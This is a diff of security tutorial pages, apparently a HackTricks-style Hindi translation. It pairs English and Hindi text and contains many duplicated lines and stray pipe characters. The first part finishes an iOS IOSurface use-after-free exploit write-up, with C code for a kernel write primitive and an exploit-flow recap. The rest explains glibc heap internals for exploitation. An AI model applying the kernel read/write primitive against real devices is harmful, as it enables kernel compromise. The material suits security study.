1. Overwrite the **indexed timestamp pointer** to the target address.
|
||||
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
|
||||
लिखने के लिए:
|
||||
|
||||
1. लक्षित पते पर **सूचीबद्ध टाइमस्टैम्प पॉइंटर** को ओवरराइट करें।
|
||||
2. 64-बिट मान लिखने के लिए `set_indexed_timestamp` विधि का उपयोग करें।
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### एक्सप्लॉइट फ्लो पुनरावलोकन
|
||||
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
|
||||
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
|
||||
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
|
||||
|
||||
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
|
||||
1. **भौतिक उपयोग-के-बाद-मुक्ति को ट्रिगर करें**: मुक्त पृष्ठ पुन: उपयोग के लिए उपलब्ध हैं।
|
||||
2. **IOSurface ऑब्जेक्ट्स को स्प्रे करें**: कर्नेल मेमोरी में एक अद्वितीय "जादुई मान" के साथ कई IOSurface ऑब्जेक्ट्स आवंटित करें।
|
||||
3. **सुलभ IOSurface की पहचान करें**: एक मुक्त पृष्ठ पर एक IOSurface का पता लगाएं जिसे आप नियंत्रित करते हैं।
|
||||
4. **उपयोग-के-बाद-मुक्ति का दुरुपयोग करें**: IOSurface ऑब्जेक्ट में पॉइंटर्स को संशोधित करें ताकि IOSurface विधियों के माध्यम से मनमाने **कर्नेल पढ़ने/लिखने** को सक्षम किया जा सके।
|
||||
|
||||
इन प्राइमिटिव के साथ, एक्सप्लॉइट नियंत्रित **32-बिट पढ़ने** और **64-बिट लिखने** को कर्नेल मेमोरी में प्रदान करता है। आगे के जेलब्रेक चरणों में अधिक स्थिर पढ़ने/लिखने के प्राइमिटिव शामिल हो सकते हैं, जिन्हें अतिरिक्त सुरक्षा (जैसे, नए arm64e उपकरणों पर PPL) को बायपास करने की आवश्यकता हो सकती है।
|
||||
|
||||
@ -2,196 +2,189 @@
|
||||
|
||||
## Heap Basics
|
||||
|
||||
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
|
||||
हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब यह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शंस को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है।
|
||||
|
||||
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
|
||||
जैसा कि दिखाया गया है, यह मेमोरी में बाइनरी लोड होने के ठीक बाद है (चेक करें `[heap]` सेक्शन):
|
||||
|
||||
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
|
||||
जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट के लिए चंक आरक्षित किया जाएगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल बनाए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग किए गए/फ्री चंक कहाँ है।
|
||||
|
||||
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
|
||||
स्थान आरक्षित करने के विभिन्न तरीके हैं, मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है:
|
||||
|
||||
- The program starts by requesting certain amount of memory.
|
||||
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
|
||||
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
|
||||
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
|
||||
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
|
||||
- If everything fails, `malloc` returns null.
|
||||
- प्रोग्राम एक निश्चित मात्रा में मेमोरी का अनुरोध करके शुरू होता है।
|
||||
- यदि चंक्स की सूची में कोई उपलब्ध बड़ा चंक है जो अनुरोध को पूरा कर सकता है, तो इसका उपयोग किया जाएगा।
|
||||
- इसका मतलब यह भी हो सकता है कि उपलब्ध चंक का एक भाग इस अनुरोध के लिए उपयोग किया जाएगा और बाकी चंक्स की सूची में जोड़ा जाएगा।
|
||||
- यदि सूची में कोई उपलब्ध चंक नहीं है लेकिन आवंटित हीप मेमोरी में अभी भी स्थान है, तो हीप प्रबंधक एक नया चंक बनाता है।
|
||||
- यदि नए चंक को आवंटित करने के लिए पर्याप्त हीप स्थान नहीं है, तो हीप प्रबंधक कर्नेल से हीप के लिए आवंटित मेमोरी को बढ़ाने के लिए कहता है और फिर इस मेमोरी का उपयोग नए चंक को उत्पन्न करने के लिए करता है।
|
||||
- यदि सब कुछ विफल हो जाता है, तो `malloc` शून्य लौटाता है।
|
||||
|
||||
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
|
||||
ध्यान दें कि यदि अनुरोधित **मेमोरी एक थ्रेशोल्ड को पार करती है**, तो **`mmap`** का उपयोग अनुरोधित मेमोरी को मैप करने के लिए किया जाएगा।
|
||||
|
||||
## Arenas
|
||||
|
||||
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
|
||||
**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकते हैं। प्रारंभ में, यह सुनिश्चित करने के लिए एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बोतलने की समस्या के कारण **प्रदर्शन मुद्दे** उत्पन्न हुए।
|
||||
|
||||
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
|
||||
इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं।
|
||||
|
||||
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
|
||||
डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा हो सकती है।
|
||||
|
||||
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
|
||||
मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड ऑपरेशंस के लिए मेमोरी प्रबंधन में लचीलापन मिलता है।
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
|
||||
सबहीप्स मल्टीथ्रेडेड अनुप्रयोगों में माध्यमिक एरेनास के लिए मेमोरी रिजर्व के रूप में कार्य करते हैं, जिससे उन्हें बढ़ने और अपने हीप क्षेत्रों का प्रबंधन मुख्य हीप से अलग करने की अनुमति मिलती है। यहाँ बताया गया है कि सबहीप्स प्रारंभिक हीप से कैसे भिन्न होते हैं और वे कैसे कार्य करते हैं:
|
||||
|
||||
1. **Initial Heap vs. Subheaps**:
|
||||
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
|
||||
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
|
||||
2. **Memory Reservation with `mmap`**:
|
||||
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
|
||||
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
|
||||
3. **Gradual Expansion with `mprotect`**:
|
||||
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
|
||||
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
|
||||
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
|
||||
1. **प्रारंभिक हीप बनाम सबहीप्स**:
|
||||
- प्रारंभिक हीप प्रोग्राम के बाइनरी के ठीक बाद मेमोरी में स्थित होती है, और यह `sbrk` सिस्टम कॉल का उपयोग करके विस्तारित होती है।
|
||||
- सबहीप्स, जो माध्यमिक एरेनास द्वारा उपयोग किए जाते हैं, `mmap` के माध्यम से बनाए जाते हैं, जो एक निर्दिष्ट मेमोरी क्षेत्र को मैप करने वाला सिस्टम कॉल है।
|
||||
2. **`mmap` के साथ मेमोरी आरक्षण**:
|
||||
- जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसे अन्य सिस्टम प्रक्रियाओं या आवंटनों का उपयोग नहीं करना चाहिए।
|
||||
- डिफ़ॉल्ट रूप से, 32-बिट प्रक्रियाओं के लिए सबहीप के लिए आरक्षित आकार 1 MB और 64-बिट प्रक्रियाओं के लिए 64 MB है।
|
||||
3. **`mprotect` के साथ क्रमिक विस्तार**:
|
||||
- आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह दर्शाता है कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है।
|
||||
- सबहीप को "बढ़ाने" के लिए, हीप प्रबंधक `mprotect` का उपयोग करके पृष्ठ अनुमतियों को `PROT_NONE` से `PROT_READ | PROT_WRITE` में बदलता है, जिससे कर्नेल को पहले से आरक्षित पते पर भौतिक मेमोरी आवंटित करने के लिए प्रेरित किया जाता है। यह चरण-दर-चरण दृष्टिकोण सबहीप को आवश्यकतानुसार बढ़ने की अनुमति देता है।
|
||||
- एक बार जब पूरा सबहीप समाप्त हो जाता है, तो हीप प्रबंधक एक नया सबहीप बनाता है ताकि आवंटन जारी रह सके।
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
|
||||
|
||||
यह संरचना हीप की प्रासंगिक जानकारी आवंटित करती है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह संरचना उस जानकारी को भी संग्रहीत करेगी।
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
typedef struct _heap_info
|
||||
{
|
||||
mstate ar_ptr; /* Arena for this heap. */
|
||||
struct _heap_info *prev; /* Previous heap. */
|
||||
size_t size; /* Current size in bytes. */
|
||||
size_t mprotect_size; /* Size in bytes that has been mprotected
|
||||
PROT_READ|PROT_WRITE. */
|
||||
size_t pagesize; /* Page size used when allocating the arena. */
|
||||
/* Make sure the following data is properly aligned, particularly
|
||||
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
|
||||
MALLOC_ALIGNMENT. */
|
||||
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
mstate ar_ptr; /* Arena for this heap. */
|
||||
struct _heap_info *prev; /* Previous heap. */
|
||||
size_t size; /* Current size in bytes. */
|
||||
size_t mprotect_size; /* Size in bytes that has been mprotected
|
||||
PROT_READ|PROT_WRITE. */
|
||||
size_t pagesize; /* Page size used when allocating the arena. */
|
||||
/* Make sure the following data is properly aligned, particularly
|
||||
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
|
||||
MALLOC_ALIGNMENT. */
|
||||
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
} heap_info;
|
||||
```
|
||||
|
||||
### malloc_state
|
||||
|
||||
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
|
||||
It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
|
||||
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
|
||||
**प्रत्येक हीप** (मुख्य एरेना या अन्य थ्रेड्स एरेना) के पास एक **`malloc_state` संरचना है।**\
|
||||
यह ध्यान रखना महत्वपूर्ण है कि **मुख्य एरेना `malloc_state`** संरचना **libc में एक वैश्विक चर है** (इसलिए libc मेमोरी स्पेस में स्थित है)।\
|
||||
**थ्रेड्स के हीप के `malloc_state`** संरचनाओं के मामले में, वे **अपने थ्रेड "हीप" के अंदर** स्थित हैं।
|
||||
|
||||
There some interesting things to note from this structure (see C code below):
|
||||
इस संरचना से कुछ दिलचस्प बातें नोट करने के लिए हैं (नीचे C कोड देखें):
|
||||
|
||||
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
|
||||
- Flags:
|
||||
- `__libc_lock_define (, mutex);` यह सुनिश्चित करने के लिए है कि इस हीप से यह संरचना एक समय में 1 थ्रेड द्वारा एक्सेस की जाए
|
||||
- फ्लैग्स:
|
||||
|
||||
- ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
- ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
||||
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
|
||||
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
|
||||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
|
||||
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
|
||||
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
|
||||
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
|
||||
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
|
||||
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
|
||||
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
|
||||
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
|
||||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
|
||||
- `mchunkptr bins[NBINS * 2 - 2];` में **पहले और अंतिम चंक्स** के लिए **पॉइंटर्स** होते हैं जो छोटे, बड़े और असंरचित **बिन्स** के होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता)
|
||||
- इसलिए, इन बिन्स का **पहला चंक** इस संरचना के लिए एक **पीछे की ओर पॉइंटर** होगा और इन बिन्स का **अंतिम चंक** इस संरचना के लिए एक **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि यदि आप **मुख्य एरेना में इन पते को लीक कर सकते हैं** तो आपके पास **libc** में संरचना के लिए एक पॉइंटर होगा।
|
||||
- संरचनाएँ `struct malloc_state *next;` और `struct malloc_state *next_free;` एरेनास की लिंक्ड लिस्ट हैं
|
||||
- `top` चंक अंतिम "चंक" है, जो मूल रूप से **सभी हीप शेष स्थान** है। एक बार जब शीर्ष चंक "खाली" हो जाता है, तो हीप पूरी तरह से उपयोग किया जाता है और इसे अधिक स्थान का अनुरोध करने की आवश्यकता होती है।
|
||||
- `last reminder` चंक उन मामलों से आता है जहां एक सटीक आकार का चंक उपलब्ध नहीं है और इसलिए एक बड़ा चंक विभाजित किया जाता है, एक पॉइंटर शेष भाग यहां रखा जाता है।
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
struct malloc_state
|
||||
{
|
||||
/* Serialize access. */
|
||||
__libc_lock_define (, mutex);
|
||||
/* Serialize access. */
|
||||
__libc_lock_define (, mutex);
|
||||
|
||||
/* Flags (formerly in max_fast). */
|
||||
int flags;
|
||||
/* Flags (formerly in max_fast). */
|
||||
int flags;
|
||||
|
||||
/* Set if the fastbin chunks contain recently inserted free blocks. */
|
||||
/* Note this is a bool but not all targets support atomics on booleans. */
|
||||
int have_fastchunks;
|
||||
/* Set if the fastbin chunks contain recently inserted free blocks. */
|
||||
/* Note this is a bool but not all targets support atomics on booleans. */
|
||||
int have_fastchunks;
|
||||
|
||||
/* Fastbins */
|
||||
mfastbinptr fastbinsY[NFASTBINS];
|
||||
/* Fastbins */
|
||||
mfastbinptr fastbinsY[NFASTBINS];
|
||||
|
||||
/* Base of the topmost chunk -- not otherwise kept in a bin */
|
||||
mchunkptr top;
|
||||
/* Base of the topmost chunk -- not otherwise kept in a bin */
|
||||
mchunkptr top;
|
||||
|
||||
/* The remainder from the most recent split of a small request */
|
||||
mchunkptr last_remainder;
|
||||
/* The remainder from the most recent split of a small request */
|
||||
mchunkptr last_remainder;
|
||||
|
||||
/* Normal bins packed as described above */
|
||||
mchunkptr bins[NBINS * 2 - 2];
|
||||
/* Normal bins packed as described above */
|
||||
mchunkptr bins[NBINS * 2 - 2];
|
||||
|
||||
/* Bitmap of bins */
|
||||
unsigned int binmap[BINMAPSIZE];
|
||||
/* Bitmap of bins */
|
||||
unsigned int binmap[BINMAPSIZE];
|
||||
|
||||
/* Linked list */
|
||||
struct malloc_state *next;
|
||||
/* Linked list */
|
||||
struct malloc_state *next;
|
||||
|
||||
/* Linked list for free arenas. Access to this field is serialized
|
||||
by free_list_lock in arena.c. */
|
||||
struct malloc_state *next_free;
|
||||
/* Linked list for free arenas. Access to this field is serialized
|
||||
by free_list_lock in arena.c. */
|
||||
struct malloc_state *next_free;
|
||||
|
||||
/* Number of threads attached to this arena. 0 if the arena is on
|
||||
the free list. Access to this field is serialized by
|
||||
free_list_lock in arena.c. */
|
||||
INTERNAL_SIZE_T attached_threads;
|
||||
/* Number of threads attached to this arena. 0 if the arena is on
|
||||
the free list. Access to this field is serialized by
|
||||
free_list_lock in arena.c. */
|
||||
INTERNAL_SIZE_T attached_threads;
|
||||
|
||||
/* Memory allocated from the system in this arena. */
|
||||
INTERNAL_SIZE_T system_mem;
|
||||
INTERNAL_SIZE_T max_system_mem;
|
||||
/* Memory allocated from the system in this arena. */
|
||||
INTERNAL_SIZE_T system_mem;
|
||||
INTERNAL_SIZE_T max_system_mem;
|
||||
};
|
||||
```
|
||||
|
||||
### malloc_chunk
|
||||
|
||||
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
|
||||
|
||||
यह संरचना मेमोरी के एक विशेष टुकड़े का प्रतिनिधित्व करती है। विभिन्न फ़ील्ड्स आवंटित और अव्यवस्थित टुकड़ों के लिए अलग-अलग अर्थ रखते हैं।
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
|
||||
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
|
||||
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk;
|
||||
/* Only used for large blocks: pointer to next larger size. */
|
||||
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk_nextsize;
|
||||
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
|
||||
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
|
||||
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk;
|
||||
/* Only used for large blocks: pointer to next larger size. */
|
||||
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk_nextsize;
|
||||
};
|
||||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
|
||||
As commented previously, these chunks also have some metadata, very good represented in this image:
|
||||
जैसा कि पहले टिप्पणी की गई थी, इन चंक्स में कुछ मेटाडेटा भी होते हैं, जो इस छवि में बहुत अच्छे से दर्शाए गए हैं:
|
||||
|
||||
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
|
||||
मेटाडेटा आमतौर पर 0x08B होता है जो वर्तमान चंक आकार को दर्शाता है, अंतिम 3 बिट्स का उपयोग करके:
|
||||
|
||||
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
|
||||
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
|
||||
- `P`: If 1, the previous chunk is in use
|
||||
- `A`: यदि 1 है तो यह एक सबहीप से आता है, यदि 0 है तो यह मुख्य एरेना में है
|
||||
- `M`: यदि 1 है, तो यह चंक mmap के साथ आवंटित स्थान का हिस्सा है और हीप का हिस्सा नहीं है
|
||||
- `P`: यदि 1 है, तो पिछले चंक का उपयोग हो रहा है
|
||||
|
||||
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
|
||||
फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछले चंक का आकार (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को स्टोर करने के लिए)।
|
||||
|
||||
Moreover, when available, the user data is used to contain also some data:
|
||||
इसके अलावा, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में कुछ डेटा भी शामिल होता है:
|
||||
|
||||
- **`fd`**: Pointer to the next chunk
|
||||
- **`bk`**: Pointer to the previous chunk
|
||||
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
|
||||
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
|
||||
- **`fd`**: अगले चंक का पॉइंटर
|
||||
- **`bk`**: पिछले चंक का पॉइंटर
|
||||
- **`fd_nextsize`**: सूची में पहला चंक जिसका आकार स्वयं से छोटा है
|
||||
- **`bk_nextsize`:** सूची में पहला चंक जिसका आकार स्वयं से बड़ा है
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
|
||||
> इस तरह सूची को जोड़ने से यह आवश्यकता समाप्त हो जाती है कि हर एक चंक को पंजीकृत करने के लिए एक एरे हो।
|
||||
|
||||
### Chunk Pointers
|
||||
|
||||
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
|
||||
For these conversions these functions are used:
|
||||
### चंक पॉइंटर्स
|
||||
|
||||
जब malloc का उपयोग किया जाता है, तो उस सामग्री का पॉइंटर लौटाया जाता है जिसे लिखा जा सकता है (हेडर के ठीक बाद), हालाँकि, चंक्स का प्रबंधन करते समय, हेडर (मेटाडेटा) की शुरुआत के लिए एक पॉइंटर की आवश्यकता होती है।\
|
||||
इन परिवर्तनों के लिए ये फ़ंक्शन उपयोग किए जाते हैं:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
@ -207,13 +200,11 @@ For these conversions these functions are used:
|
||||
/* The smallest size we can malloc is an aligned minimal chunk */
|
||||
|
||||
#define MINSIZE \
|
||||
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
||||
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
||||
```
|
||||
|
||||
### Alignment & min size
|
||||
|
||||
The pointer to the chunk and `0x0f` must be 0.
|
||||
|
||||
चंक के लिए पॉइंटर और `0x0f` को 0 होना चाहिए।
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
|
||||
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
|
||||
|
||||
#define misaligned_chunk(p) \
|
||||
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
|
||||
& MALLOC_ALIGN_MASK)
|
||||
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
|
||||
& MALLOC_ALIGN_MASK)
|
||||
|
||||
|
||||
/* pad request bytes into a usable size -- internal version */
|
||||
/* Note: This must be a macro that evaluates to a compile time constant
|
||||
if passed a literal constant. */
|
||||
if passed a literal constant. */
|
||||
#define request2size(req) \
|
||||
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
|
||||
MINSIZE : \
|
||||
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
|
||||
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
|
||||
MINSIZE : \
|
||||
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
|
||||
|
||||
/* Check if REQ overflows when padded and aligned and if the resulting
